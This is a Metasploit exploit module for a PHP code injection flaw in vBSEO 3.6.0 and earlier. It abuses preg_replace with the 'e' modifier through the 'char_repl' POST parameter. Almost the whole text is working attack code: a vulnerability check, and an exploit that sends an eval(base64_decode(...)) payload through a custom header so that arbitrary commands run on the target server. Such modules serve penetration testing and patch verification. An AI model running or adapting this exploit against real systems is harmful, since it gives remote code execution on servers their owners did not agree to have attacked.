vBSEO 3.6.0 – ‘proc_deutf()’ Remote PHP Code Injection (Metasploit)
require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection', 'Description' => %q{ This module exploits a vulnerability in the 'proc_deutf()' function defined in /includes/functions_vbseocp_abstract.php. User input passed through 'char_repl' POST parameter isn't properly sanitized before being used in a call to preg_replace() function which uses the 'e' modifier. This can be exploited to inject and execute arbitrary code leveraging the PHP's complex curly syntax. }, 'Author' => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['BID', '51647'], ['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 8190, 'Keys' => ['php'], }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Jan 23 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]), ], self.class) end def check flag = rand_text_alpha(rand(10)+10) data = "char_repl='{${print(#{flag})}}'=>" uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' uri << 'vbseocp.php' response = send_request_cgi({ 'method' => "POST", 'uri' => uri, 'data' => "#{data}" }) if response.code == 200 and response.body =~ /#{flag}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit if datastore['CMD'] p = "passthru(\"%s\");" % datastore['CMD'] p = Rex::Text.encode_base64(p) else p = Rex::Text.encode_base64(payload.encoded) end data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>" uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' uri << 'vbseocp.php' response = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'data' => data, 'headers' => { 'Code' => p } }) print_status("%s" % response.body) if datastore['CMD'] end end |